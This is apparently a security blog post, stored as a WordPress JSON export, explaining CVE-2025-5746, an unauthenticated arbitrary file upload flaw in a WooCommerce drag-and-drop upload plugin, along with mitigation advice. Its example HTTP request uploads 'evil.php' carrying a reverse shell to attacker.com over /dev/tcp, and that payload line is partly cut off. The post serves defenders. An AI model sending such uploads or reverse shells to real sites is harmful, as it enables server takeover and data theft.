{"id":58178,"date":"2025-07-07T21:55:05","date_gmt":"2025-07-07T21:55:05","guid":{"rendered":""},"modified":"2025-10-01T18:15:23","modified_gmt":"2025-10-02T00:15:23","slug":"cve-2025-5746-arbitrary-file-upload-vulnerability-in-woocommerce-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-5746-arbitrary-file-upload-vulnerability-in-woocommerce-plugin-for-wordpress\/","title":{"rendered":"CVE-2025-5746: Arbitrary File Upload Vulnerability in WooCommerce Plugin for WordPress<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the realm of cybersecurity, vulnerabilities are a constant threat, and staying aware of these threats is critical to maintaining a secure digital environment. Today, we will be discussing in detail about the CVE-2025-5746 vulnerability, a severe security flaw that affects the Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin for WordPress. This vulnerability is concerning as it allows unauthenticated attackers to upload<\/a> arbitrary files on the affected site’s server, potentially leading to remote code execution.
\nWith a CVSS Severity Score of 9.8, this vulnerability poses a serious risk to WordPress sites making use of this plugin<\/a> and could result in potential system compromise or data leakage. The following sections provide a comprehensive explanation of this vulnerability<\/a>, including its impact, how it works, and how it can be mitigated.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-5746
\nSeverity: Critical (CVSS 9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system compromise and data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Drag and Drop Multiple File Upload<\/a> (Pro) – WooCommerce for WordPress (bundled with PrintSpace theme) | 5.0 – 5.0.5
\nDrag and Drop Multiple File Upload<\/a> (Pro) – WooCommerce for WordPress (standalone version) | Up to and including 1.7.1<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The CVE-2025-5746 vulnerability lies within the dnd_upload_cf7_upload_chunks() function of the Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin for WordPress<\/a>. This function lacks file type validation, allowing unauthenticated attackers to upload arbitrary files<\/a> to the server.
\nWhile the execution of PHP is disabled via a .htaccess file, this safeguard can be bypassed in certain server configurations, allowing potential remote code<\/a> execution. An attacker could potentially use this exploit to compromise the system<\/a> or leak data.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

A conceptual example of how this vulnerability might be exploited is shown below. While this example does not represent a specific, real-world exploit, it demonstrates the potential risk.<\/p>\n

POST \/wp-content\/plugins\/drag-and-drop-multiple-file-upload\/contact-form-7\/dnd-upload-cf7.php HTTP\/1.1\nHost: victim-site.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file-0\"; filename=\"evil.php\"\nContent-Type: application\/x-php\n& \/dev\/tcp\/attacker.com\/4444 0>&1'\"); ?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n
In this example, an attacker is uploading a malicious PHP<\/a> file (evil.php) that establishes a reverse shell back to the attacker’s server.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
The most recommended mitigation for this vulnerability is to apply the vendor-provided patch as soon as possible. If a patch is unavailable or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking attempts to exploit this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
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